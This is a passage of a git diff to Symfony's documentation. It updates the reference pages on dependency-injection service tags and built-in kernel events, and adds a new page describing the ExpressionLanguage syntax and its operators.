value resolver for controller arguments such as ``Request`` -`data_collector`_ Create a class that collects custom data for the profiler -`doctrine.event_listener`_ Add a Doctrine event listener -`doctrine.event_subscriber`_ Add a Doctrine event subscriber -`form.type`_ Create a custom form field type -`form.type_extension`_ Create a custom "form extension" -`form.type_guesser`_ Add your own logic for "form type guessing" -`kernel.cache_clearer`_ Register your service to be called during the cache clearing process -`kernel.cache_warmer`_ Register your service to be called during the cache warming process -`kernel.event_listener`_ Listen to different events/hooks in Symfony -`kernel.event_subscriber`_ To subscribe to a set of different events/hooks in Symfony -`kernel.fragment_renderer`_ Add new HTTP content rendering strategies -`kernel.reset`_ Allows to clean up services between requests -`mime.mime_type_guesser`_ Add your own logic for guessing MIME types -`monolog.logger`_ Logging with a custom logging channel -`monolog.processor`_ Add a custom processor for logging -`routing.loader`_ Register a custom service that loads routes -`routing.expression_language_provider`_ Register a provider for expression language functions in routing -`security.expression_language_provider`_ Register a provider for expression language functions in security -`security.voter`_ Add a custom voter to Symfony's authorization logic -`security.remember_me_aware`_ To allow remember me authentication -`serializer.encoder`_ Register a new encoder in the ``serializer`` service -`serializer.normalizer`_ Register a new normalizer in the ``serializer`` service -`swiftmailer.default.plugin`_ Register a custom SwiftMailer Plugin -`translation.loader`_ Register a custom service that loads translations -`translation.extractor`_ Register a custom service that extracts translation messages from a file -`translation.dumper`_ Register a custom service that dumps translation messages -`twig.extension`_ Register a custom Twig Extension -`twig.loader`_ Register a custom service that loads Twig templates -`twig.runtime`_ Register a lazy-loaded Twig Extension -`validator.constraint_validator`_ Create your own custom validation constraint -`validator.initializer`_ Register a service that initializes objects before validation -======================================== ======================================================================== +This article shows the most common tags provided by Symfony components, but in +your application there could be more tags available provided by third-party bundles. + +Run this command to display tagged services in your application: + +.. code-block:: terminal + + $ php bin/console debug:container --tags + +To search for a specific tag, re-run this command with a search term: + +.. code-block:: terminal + + $ php bin/console debug:container --tag=form.type + +assets.package +-------------- + +**Purpose**: Add an asset package to the application + +This is an alternative way to declare an :ref:`asset package <asset-packages>`. +The name of the package is set in this order: + +* first, the ``package`` attribute of the tag; +* then, the value returned by the static method ``getDefaultPackageName()`` if defined; +* finally, the service name. + +.. configuration-block:: + + .. code-block:: yaml + + services: + App\Assets\AvatarPackage: + tags: + - { name: assets.package, package: avatars } + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Assets\AvatarPackage"> + <tag name="assets.package" package="avatars"/> + </service> + </services> + </container> + + .. code-block:: php + + use App\Assets\AvatarPackage; + + $container + ->register(AvatarPackage::class) + ->addTag('assets.package', ['package' => 'avatars']) + ; + +Now you can use the ``avatars`` package in your templates: + +.. code-block:: html+twig + + <img src="{{ asset('...', 'avatars') }}"> auto_alias ---------- @@ -97,8 +118,8 @@ services: use App\Lock\PostgresqlLock; use App\Lock\SqliteLock; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set('app.mysql_lock', MysqlLock::class); $services->set('app.postgresql_lock', PostgresqlLock::class); @@ -159,8 +180,8 @@ the generic ``app.lock`` service can be defined as follows: use App\Lock\PostgresqlLock; use App\Lock\SqliteLock; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set('app.mysql_lock', MysqlLock::class); $services->set('app.postgresql_lock', PostgresqlLock::class); @@ -182,13 +203,6 @@ wrapping their names with ``%`` characters). sense most of the times to prevent accessing those services directly instead of using the generic service alias. -.. versionadded:: 5.1 - - In Symfony versions prior to 5.1, you needed to manually add the - ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass`` - compiler pass to the container for this feature to work. This compiler pass - is now added automatically. - console.command --------------- @@ -210,7 +224,7 @@ are propagated to their related listeners. It will replace, in cache for generated service factories, the PHP autoload by plain inlined ``include_once``. The benefit is a complete bypass of the autoloader -for services and their class hierarchy. The result is as significant performance improvement. +for services and their class hierarchy. The result is a significant performance improvement. Use this tag with great caution, you have to be sure that the tagged service is always used. @@ -221,10 +235,6 @@ container.no_preload **Purpose**: Remove a class from the list of classes preloaded by PHP -.. versionadded:: 5.1 - - The ``container.no_preload`` tag was introduced in Symfony 5.1. - Add this tag to a service and its class won't be preloaded when using `PHP class preloading`_: @@ -271,10 +281,6 @@ container.preload **Purpose**: Add some class to the list of classes preloaded by PHP -.. versionadded:: 5.1 - - The ``container.preload`` tag was introduced in Symfony 5.1. - When using `PHP class preloading`_, this tag allows you to define which PHP classes should be preloaded. This can improve performance by making some of the classes used by your service always available for all requests (until the server @@ -316,8 +322,8 @@ is restarted): $container ->register(SomeService::class) - ->addTag('container.preload', ['class' => SomeClass::class) - ->addTag('container.preload', ['class' => OtherClass::class) + ->addTag('container.preload', ['class' => SomeClass::class]) + ->addTag('container.preload', ['class' => OtherClass::class]) // ... ; @@ -327,9 +333,9 @@ controller.argument_value_resolver **Purpose**: Register a value resolver for controller arguments such as ``Request`` Value resolvers implement the -:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface` +:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface` and are used to resolve argument values for controllers as described here: -:doc:`/controller/argument_value_resolver`. +:doc:`/controller/value_resolver`. data_collector -------------- @@ -337,7 +343,7 @@ data_collector **Purpose**: Create a class that collects custom data for the profiler For details on creating your own custom data collection, read the -:doc:`/profiler/data_collector` article. +:ref:`profiler-data-collector` article. doctrine.event_listener ----------------------- @@ -397,7 +403,7 @@ kernel.cache_clearer process Cache clearing occurs whenever you call ``cache:clear`` command. If your -bundle caches files, you should add custom cache clearer for clearing those +bundle caches files, you should add a custom cache clearer for clearing those files during the cache clearing process. In order to register your custom cache clearer, first you must create a @@ -410,7 +416,7 @@ service class:: class MyClearer implements CacheClearerInterface { - public function clear($cacheDirectory) + public function clear(string $cacheDirectory): void { // clear your cache } @@ -477,7 +483,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i class MyCustomWarmer implements CacheWarmerInterface { - public function warmUp($cacheDirectory) + public function warmUp(string $cacheDir, ?string $buildDir = null): array { // ... do some sort of operations to "warm" your cache @@ -493,7 +499,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i return $filesAndClassesToPreload; } - public function isOptional() + public function isOptional(): bool { return true; } @@ -502,12 +508,9 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i The ``warmUp()`` method must return an array with the files and classes to preload. Files must be absolute paths and classes must be fully-qualified class names. The only restriction is that files must be stored in the cache directory. -If you don't need to preload anything, return an empty array - -.. deprecated:: 5.1 - - Not returning an array from the ``warmUp()`` method with the files to - preload is deprecated since Symfony 5.1. +If you don't need to preload anything, return an empty array. If read-only +artifacts need to be created, you can store them in a different directory +with the ``$buildDir`` parameter of the ``warmUp()`` method. The ``isOptional()`` method should return true if it's possible to use the application without calling this cache warmer. In Symfony, optional warmers @@ -557,7 +560,7 @@ can also register it manually: that defaults to ``0``. The higher the number, the earlier that warmers are executed. -.. caution:: +.. warning:: If your cache warmer fails its execution because of any exception, Symfony won't try to execute it again for the next requests. Therefore, your @@ -614,19 +617,86 @@ To add a new rendering strategy - in addition to the core strategies like :class:`Symfony\\Component\\HttpKernel\\Fragment\\FragmentRendererInterface`, register it as a service, then tag it with ``kernel.fragment_renderer``. +kernel.locale_aware +------------------- + +**Purpose**: To access and use the current :ref:`locale <translation-locale>` + +Setting and retrieving the locale can be done via configuration or using +container parameters, listeners, route parameters or the current request. + +Thanks to the ``Translation`` contract, the locale can be set via services. + +To register your own locale aware service, first create a service that implements +the :class:`Symfony\\Contracts\\Translation\\LocaleAwareInterface` interface:: + + // src/Locale/MyCustomLocaleHandler.php + namespace App\Locale; + + use Symfony\Contracts\Translation\LocaleAwareInterface; + + class MyCustomLocaleHandler implements LocaleAwareInterface + { + public function setLocale(string $locale): void + { + $this->locale = $locale; + } + + public function getLocale(): string + { + return $this->locale; + } + } + +If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, +your service will be automatically tagged with ``kernel.locale_aware``. But, you +can also register it manually: + +.. configuration-block:: + + .. code-block:: yaml + + services: + App\Locale\MyCustomLocaleHandler: + tags: [kernel.locale_aware] + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Locale\MyCustomLocaleHandler"> + <tag name="kernel.locale_aware"/> + </service> + </services> + </container> + + .. code-block:: php + + use App\Locale\MyCustomLocaleHandler; + + $container + ->register(LocaleHandler::class) + ->addTag('kernel.locale_aware') + ; + kernel.reset ------------ **Purpose**: Clean up services between requests -During the ``kernel.terminate`` event, Symfony looks for any service tagged -with the ``kernel.reset`` tag to reinitialize their state. This is done by -calling to the method whose name is configured in the ``method`` argument of -the tag. +In all main requests (not :ref:`sub-requests <http-kernel-sub-requests>`) except +the first one, Symfony looks for any service tagged with the ``kernel.reset`` tag +to reinitialize their state. This is done by calling to the method whose name is +configured in the ``method`` argument of the tag. This is mostly useful when running your projects in application servers that reuse the Symfony application between requests to improve performance. This tag -is applied for example to the built-in :doc:`data collectors </profiler/data_collector>` +is applied for example to the built-in :ref:`data collectors <profiler-data-collector>` of the profiler to delete all their information. .. _dic_tags-mime: @@ -885,22 +955,6 @@ This tag is used to automatically register :ref:`expression function providers component. Using these providers, you can add custom functions to the security expression language. -security.remember_me_aware --------------------------- - -**Purpose**: To allow remember me authentication - -This tag is used internally to allow remember-me authentication to work. -If you have a custom authentication method where a user can be remember-me -authenticated, then you may need to use this tag. - -If your custom authentication factory extends -:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory` -and your custom authentication listener extends -:class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`, -then your custom authentication listener will automatically have this tag -applied and it will function automatically. - security.voter -------------- @@ -936,31 +990,11 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`. For more details, see :doc:`/serializer`. -The priorities of the default normalizers can be found in the -:method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration` -method. - -swiftmailer.default.plugin --------------------------- - -**Purpose**: Register a custom SwiftMailer Plugin - -If you're using a custom SwiftMailer plugin (or want to create one), you -can register it with SwiftMailer by creating a service for your plugin and -tagging it with ``swiftmailer.default.plugin`` (it has no options). +Run the following command to check the priorities of the default normalizers: -.. note:: - - ``default`` in this tag is the name of the mailer. If you have multiple - mailers configured or have changed the default mailer name for some - reason, you should change it to the name of your mailer in order to - use this tag. - -A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface. -For more information on plugins, see `SwiftMailer's Plugin Documentation`_. +.. code-block:: terminal -Several SwiftMailer plugins are core to Symfony and can be activated via -different configuration. For details, see :doc:`/reference/configuration/swiftmailer`. + $ php bin/console debug:container --tag serializer.normalizer .. _dic-tags-translation-loader: @@ -1030,11 +1064,17 @@ translation.extractor **Purpose**: To register a custom service that extracts messages from a file -When executing the ``translation:update`` command, it uses extractors to +When executing the ``translation:extract`` command, it uses extractors to extract translation messages from a file. By default, the Symfony Framework -has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` and a -:class:`Symfony\\Component\\Translation\\Extractor\\PhpExtractor`, which -help to find and extract translation keys from Twig templates and PHP files. +has a :class:`Symfony\\Bridge\\Twig\\Translation\\TwigExtractor` to find and +extract translation keys from Twig templates. + +If you also want to find and extract translation keys from PHP files, install +the following dependency to activate the :class:`Symfony\\Component\\Translation\\Extractor\\PhpAstExtractor`: + +.. code-block:: terminal + + $ composer require nikic/php-parser You can create your own extractor by creating a class that implements :class:`Symfony\\Component\\Translation\\Extractor\\ExtractorInterface` @@ -1049,12 +1089,12 @@ required option: ``alias``, which defines the name of the extractor:: class FooExtractor implements ExtractorInterface { - protected $prefix; + protected string $prefix; /** * Extracts translation messages from a template directory to the catalog. */ - public function extract($directory, MessageCatalogue $catalog) + public function extract(string $directory, MessageCatalogue $catalog): void { // ... } @@ -1062,7 +1102,7 @@ required option: ``alias``, which defines the name of the extractor:: /** * Sets the prefix that should be used for new found messages. */ - public function setPrefix($prefix) + public function setPrefix(string $prefix): void { $this->prefix = $prefix; } @@ -1156,6 +1196,49 @@ This is the name that's used to determine which dumper should be used. $container->register(JsonFileDumper::class) ->addTag('translation.dumper', ['alias' => 'json']); +.. _reference-dic-tags-translation-provider-factory: + +translation.provider_factory +---------------------------- + +**Purpose**: to register a factory related to custom translation providers + +When creating custom :ref:`translation providers <translation-providers>`, you +must register your factory as a service and tag it with ``translation.provider_factory``: + +.. configuration-block:: + + .. code-block:: yaml + + services: + App\Translation\CustomProviderFactory: + tags: + - { name: translation.provider_factory } + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Translation\CustomProviderFactory"> + <tag name="translation.provider_factory"/> + </service> + </services> + </container> + + .. code-block:: php + + use App\Translation\CustomProviderFactory; + + $container + ->register(CustomProviderFactory::class) + ->addTag('translation.provider_factory') + ; + .. _reference-dic-tags-twig-extension: twig.extension @@ -1217,15 +1300,14 @@ the service is auto-registered and auto-tagged. But, you can also register it ma For information on how to create the actual Twig Extension class, see `Twig's documentation`_ on the topic or read the -:doc:`/templating/twig_extension` article. +:ref:`templates-twig-extension` article. twig.loader ----------- **Purpose**: Register a custom service that loads Twig templates -By default, Symfony uses only one `Twig Loader`_ - -:class:`Symfony\\Bundle\\TwigBundle\\Loader\\FilesystemLoader`. If you need +By default, Symfony uses only one `Twig Loader`_ - `FilesystemLoader`_. If you need to load Twig templates from another resource, you can create a service for the new loader and tag it with ``twig.loader``. @@ -1279,7 +1361,7 @@ twig.runtime **Purpose**: To register a custom Lazy-Loaded Twig Extension :ref:`Lazy-Loaded Twig Extensions <lazy-loaded-twig-extensions>` are defined as -regular services but the need to be tagged with ``twig.runtime``. If you're using the +regular services but they need to be tagged with ``twig.runtime``. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, the service is auto-registered and auto-tagged. But, you can also register it manually: @@ -1342,7 +1424,7 @@ Then, tag it with the ``validator.initializer`` tag (it has no options). For an example, see the ``DoctrineInitializer`` class inside the Doctrine Bridge. -.. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension -.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html -.. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders +.. _`FilesystemLoader`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php +.. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension +.. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload diff --git a/reference/events.rst b/reference/events.rst index b7eec4d8dbd..57806ee8f8d 100644 --- a/reference/events.rst +++ b/reference/events.rst @@ -1,10 +1,11 @@ Built-in Symfony Events ======================= -During the handling of an HTTP request, the Symfony framework (or any +The Symfony framework is an HTTP Request-Response one. +During the handling of an HTTP request, the framework (or any application using the :doc:`HttpKernel component </components/http_kernel>`) dispatches some :doc:`events </event_dispatcher>` which you can use to modify -how the request is handled. +how the request is handled and how the response is returned. Kernel Events ------------- @@ -14,7 +15,7 @@ Each event dispatched by the HttpKernel component is a subclass of following information: :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequestType` - Returns the *type* of the request (``HttpKernelInterface::MASTER_REQUEST`` + Returns the *type* of the request (``HttpKernelInterface::MAIN_REQUEST`` or ``HttpKernelInterface::SUB_REQUEST``). :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getKernel` @@ -23,8 +24,8 @@ following information: :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequest` Returns the current ``Request`` being handled. -:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest` - Checks if this is a master request. +:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest` + Checks if this is a main request. .. _kernel-core-request: @@ -53,14 +54,14 @@ their priorities: **Event Class**: :class:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent` -This event is dispatched after the controller to be executed has been resolved -but before executing it. It's useful to initialize things later needed by the -controller, such as `param converters`_, and even to change the controller -entirely:: +This event is dispatched after the controller has been resolved but before executing +it. It's useful to initialize things later needed by the +controller, such as :ref:`value resolvers <managing-value-resolvers>`, and +even to change the controller entirely:: use Symfony\Component\HttpKernel\Event\ControllerEvent; - public function onKernelController(ControllerEvent $event) + public function onKernelController(ControllerEvent $event): void { // ... @@ -92,7 +93,7 @@ found:: use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; - public function onKernelControllerArguments(ControllerArgumentsEvent $event) + public function onKernelControllerArguments(ControllerArgumentsEvent $event): void { // ... @@ -124,7 +125,7 @@ HTML contents) into the ``Response`` object needed by Symfony:: use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\ViewEvent; - public function onKernelView(ViewEvent $event) + public function onKernelView(ViewEvent $event): void { $value = $event->getControllerResult(); $response = new Response(); @@ -156,7 +157,7 @@ before sending it back (e.g. add/modify HTTP headers, add cookies, etc.):: use Symfony\Component\HttpKernel\Event\ResponseEvent; - public function onKernelResponse(ResponseEvent $event) + public function onKernelResponse(ResponseEvent $event): void { $response = $event->getResponse(); @@ -185,7 +186,7 @@ the translator's locale to the one of the parent request):: use Symfony\Component\HttpKernel\Event\FinishRequestEvent; - public function onKernelFinishRequest(FinishRequestEvent $event) + public function onKernelFinishRequest(FinishRequestEvent $event): void { if (null === $parentRequest = $this->requestStack->getParentRequest()) { return; @@ -237,7 +238,7 @@ sent as response:: use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Event\ExceptionEvent; - public function onKernelException(ExceptionEvent $event) + public function onKernelException(ExceptionEvent $event): void { $exception = $event->getThrowable(); $response = new Response(); @@ -251,7 +252,7 @@ sent as response:: .. note:: - The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener` + The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener` that forwards the ``Request`` to a given controller defined by the ``exception_listener.controller`` parameter. @@ -295,5 +296,3 @@ their priorities: .. code-block:: terminal $ php bin/console debug:event-dispatcher kernel.exception - -.. _`param converters`: https://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst new file mode 100644 index 00000000000..02d36ba318f --- /dev/null +++ b/reference/formats/expression_language.rst @@ -0,0 +1,511 @@ +The Expression Syntax +===================== + +The :doc:`ExpressionLanguage component </components/expression_language>` uses a +specific syntax which is based on the expression syntax of Twig. In this document, +you can find all supported syntaxes. + +Supported Literals +------------------ + +The component supports: + +* **strings** - single and double quotes (e.g. ``'hello'``) +* **numbers** - integers (e.g. ``103``), decimals (e.g. ``9.95``), decimals + without leading zeros (e.g. ``.99``, equivalent to ``0.99``); all numbers + support optional underscores as separators to improve readability (e.g. + ``1_000_000``, ``3.14159_26535``) +* **arrays** - using JSON-like notation (e.g. ``[1, 2]``) +* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``) +* **booleans** - ``true`` and ``false`` +* **null** - ``null`` +* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``) +* **comments** - using ``/*`` and ``*/`` (e.g. ``/* this is a comment */``) + +.. versionadded:: 7.2 + + The support for comments inside expressions was introduced in Symfony 7.2. + +.. warning:: + + A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string + and 7 backslashes (``\\\\\\\\``) in a regex:: + + echo $expressionLanguage->evaluate('"\\\\"'); // prints \ + $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true + + Control characters (e.g. ``\n``) in expressions are replaced with + whitespace. To avoid this, escape the sequence with a single backslash + (e.g. ``\\n``). + +.. _component-expression-objects: + +Working with Objects +-------------------- + +When passing objects into an expression, you can use different syntaxes to +access properties and call methods on the object. + +Accessing Public Properties +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Public properties on objects can be accessed by using the ``.`` syntax, similar +to JavaScript:: + + class Apple + { + public string $variety; + } + + $apple = new Apple(); + $apple->variety = 'Honeycrisp'; + + var_dump($expressionLanguage->evaluate( + 'fruit.variety', + [ + 'fruit' => $apple, + ] + )); + +This will print out ``Honeycrisp``. + +Calling Methods +~~~~~~~~~~~~~~~ + +The ``.`` syntax can also be used to call methods on an object, similar to +JavaScript:: + + class Robot + { + public function sayHi(int $times): string + { + $greetings = []; + for ($i = 0; $i < $times; $i++) { + $greetings[] = 'Hi'; + } + + return implode(' ', $greetings).'!'; + } + } + + $robot = new Robot(); + + var_dump($expressionLanguage->evaluate( + 'robot.sayHi(3)', + [ + 'robot' => $robot, + ] + )); + +This will print out ``Hi Hi Hi!``. + +.. _component-expression-null-safe-operator: + +Null-safe Operator +.................. + +Use the ``?.`` syntax to access properties and methods of objects that can be +``null`` (this is equivalent to the ``$object?->propertyOrMethod`` PHP null-safe +operator):: + + // these will throw an exception when `fruit` is `null` + $expressionLanguage->evaluate('fruit.color', ['fruit' => '...']) + $expressionLanguage->evaluate('fruit.getStock()', ['fruit' => '...']) + + // these will return `null` if `fruit` is `null` + $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...']) + $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...']) + +.. _component-expression-null-coalescing-operator: + +Null-Coalescing Operator +........................ + +It returns the left-hand side if it exists and it's not ``null``; otherwise it +returns the right-hand side. Expressions can chain multiple coalescing operators: + +* ``foo ?? 'no'`` +* ``foo.baz ?? 'no'`` +* ``foo[3] ?? 'no'`` +* ``foo.baz ?? foo['baz'] ?? 'no'`` + +.. versionadded:: 7.2 + + Starting from Symfony 7.2, no exception is thrown when trying to access a + non-existent variable. This is the same behavior as the `null-coalescing operator in PHP`_. + +.. _component-expression-functions: + +Working with Functions +---------------------- + +You can also use registered functions in the expression by using the same +syntax as PHP and JavaScript. The ExpressionLanguage component comes with the +following functions by default: + +* ``constant()`` +* ``enum()`` +* ``min()`` +* ``max()`` + +``constant()`` function +~~~~~~~~~~~~~~~~~~~~~~~ + +This function will return the value of a PHP constant:: + + define('DB_USER', 'root'); + + var_dump($expressionLanguage->evaluate( + 'constant("DB_USER")' + )); + +This will print out ``root``. + +This also works with class constants:: + + namespace App\SomeNamespace; + + class Foo + { + public const API_ENDPOINT = '/api'; + } + + var_dump($expressionLanguage->evaluate( + 'constant("App\\\\SomeNamespace\\\\Foo::API_ENDPOINT")' + )); + +This will print out ``/api``. + +``enum()`` function +~~~~~~~~~~~~~~~~~~~ + +This function will return the case of an enumeration:: + + namespace App\SomeNamespace; + + enum Foo + { + case Bar; + } + + var_dump(App\Enum\Foo::Bar === $expressionLanguage->evaluate( + 'enum("App\\\\SomeNamespace\\\\Foo::Bar")' + )); + +This will print out ``true``. + +``min()`` function +~~~~~~~~~~~~~~~~~~ + +This function will return the lowest value of the given parameters. You can pass +different types of parameters (e.g. dates, strings, numeric values) and even mix +them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`min` +PHP function to find the lowest value:: + + var_dump($expressionLanguage->evaluate( + 'min(1, 2, 3)' + )); + +This will print out ``1``. + +``max()`` function +~~~~~~~~~~~~~~~~~~ + +This function will return the highest value of the given parameters. You can pass +different types of parameters (e.g. dates, strings, numeric values) and even mix +them (e.g. pass numeric values and strings). Internally it uses the :phpfunction:`max` +PHP function to find the highest value:: + + var_dump($expressionLanguage->evaluate( + 'max(1, 2, 3)' + )); + +This will print out ``3``. + +.. versionadded:: 7.1 + + The ``min()`` and ``max()`` functions were introduced in Symfony 7.1. + +.. tip:: + + To read how to register your own functions to use in an expression, see + ":ref:`expression-language-extending`". + +.. _component-expression-arrays: + +Working with Arrays +------------------- + +If you pass an array into an expression, use the ``[]`` syntax to access +array keys, similar to JavaScript:: + + $data = ['life' => 10, 'universe' => 10, 'everything' => 22]; + + var_dump($expressionLanguage->evaluate( + 'data["life"] + data["universe"] + data["everything"]', + [ + 'data' => $data, + ] + )); + +This will print out ``42``. + +Supported Operators +------------------- + +The component comes with a lot of operators: + +Arithmetic Operators +~~~~~~~~~~~~~~~~~~~~ + +* ``+`` (addition) +* ``-`` (subtraction) +* ``*`` (multiplication) +* ``/`` (division) +* ``%`` (modulus) +* ``**`` (pow) + +For example:: + + var_dump($expressionLanguage->evaluate( + 'life + universe + everything', + [ + 'life' => 10, + 'universe' => 10, + 'everything' => 22, + ] + )); + +This will print out ``42``. + +Bitwise Operators +~~~~~~~~~~~~~~~~~ + +* ``&`` (and) +* ``|`` (or) +* ``^`` (xor) +* ``~`` (not) +* ``<<`` (left shift) +* ``>>`` (right shift) + +.. versionadded:: 7.2 + + Support for the ``~``, ``<<`` and ``>>`` bitwise operators was introduced + in Symfony 7.2. + +Comparison Operators +~~~~~~~~~~~~~~~~~~~~ + +* ``==`` (equal) +* ``===`` (identical) +* ``!=`` (not equal) +* ``!==`` (not identical) +* ``<`` (less than) +* ``>`` (greater than) +* ``<=`` (less than or equal to) +* ``>=`` (greater than or equal to) +* ``matches`` (regex match) +* ``contains`` +* ``starts with`` +* ``ends with`` + +.. tip:: + + To test if a string does *not* match a regex, use the logical ``not`` + operator in combination with the ``matches`` operator:: + + $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true + + You must use parentheses because the unary operator ``not`` has precedence + over the binary operator ``matches``. + +Examples:: + + $ret1 = $expressionLanguage->evaluate( + 'life == everything', + [ + 'life' => 10, + 'everything' => 22, + ] + ); + + $ret2 = $expressionLanguage->evaluate( + 'life > everything', + [ + 'life' => 10, + 'everything' => 22, + ] + ); + +Both variables would be set to ``false``. + +Logical Operators +~~~~~~~~~~~~~~~~~ + +* ``not`` or ``!`` +* ``and`` or ``&&`` +* ``or`` or ``||`` +* ``xor`` + +.. versionadded:: 7.2 + + Support for the ``xor`` logical operator was introduced in Symfony 7.2. + +For example:: + + $ret = $expressionLanguage->evaluate( + 'life < universe or life < everything', + [ + 'life' => 10, + 'universe' => 10, + 'everything' => 22, + ] + ); + +This ``$ret`` variable will be set to ``true``. + +String Operators +~~~~~~~~~~~~~~~~ + +* ``~`` (concatenation) + +For example:: + + var_dump($expressionLanguage->evaluate( + 'firstName~" "~lastName', + [ + 'firstName' => 'Arthur', + 'lastName' => 'Dent', + ] + )); + +This would print out ``Arthur Dent``. + +Array Operators +~~~~~~~~~~~~~~~ + +* ``in`` (contain) +* ``not in`` (does not contain) + +These operators are using strict comparison. For example:: + + class User + { + public string $group; + } + + $user = new User(); + $user->group = 'human_resources'; + + $inGroup = $expressionLanguage->evaluate( + 'user.group in ["human_resources", "marketing"]', + [ + 'user' => $user, + ] + ); + +The ``$inGroup`` would evaluate to ``true``. + +.. note:: + + The ``in`` and ``not in`` operators are using strict comparison. + +Numeric Operators +~~~~~~~~~~~~~~~~~ + +* ``..`` (range) + +For example:: + + class User + { + public int $age; + } + + $user = new User(); + $user->age = 34; + + $expressionLanguage->evaluate( + 'user.age in 18..45', + [ + 'user' => $user, + ] + ); + +This will evaluate to ``true``, because ``user.age`` is in the range from +``18`` to ``45``. + +Ternary Operators +~~~~~~~~~~~~~~~~~ + +* ``foo ? 'yes' : 'no'`` +* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``) +* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``) + +Other Operators +~~~~~~~~~~~~~~~ + +* ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`) +* ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`) + +Operators Precedence +~~~~~~~~~~~~~~~~~~~~ + +Operator precedence determines the order in which operations are processed in an +expression. For example, the result of the expression ``1 + 2 * 4`` is ``9`` +and not ``12`` because the multiplication operator (``*``) takes precedence over +the addition operator (``+``). + +To avoid ambiguities (or to alter the default order of operations) add +parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``. + +The following table summarizes the operators and their associativity from the +**highest to the lowest precedence**: + ++-----------------------------------------------------------------+---------------+ +| Operators | Associativity | ++=================================================================+===============+ +| ``-`` , ``+``, ``~`` (unary operators that add the number sign) | none | ++-----------------------------------------------------------------+---------------+ +| ``**`` | right | ++-----------------------------------------------------------------+---------------+ +| ``*``, ``/``, ``%`` | left | ++-----------------------------------------------------------------+---------------+ +| ``not``, ``!`` | none | ++-----------------------------------------------------------------+---------------+ +| ``~`` | left | ++-----------------------------------------------------------------+---------------+ +| ``+``, ``-`` | left | ++-----------------------------------------------------------------+---------------+ +| ``..``, ``<<``, ``>>`` | left | ++-----------------------------------------------------------------+---------------+ +| ``==``, ``===``, ``!=``, ``!==``, | left | +| ``<``, ``>``, ``>=``, ``<=``, | | +| ``not in``, ``in``, ``contains``, | | +| ``starts with``, ``ends with``, ``matches`` | 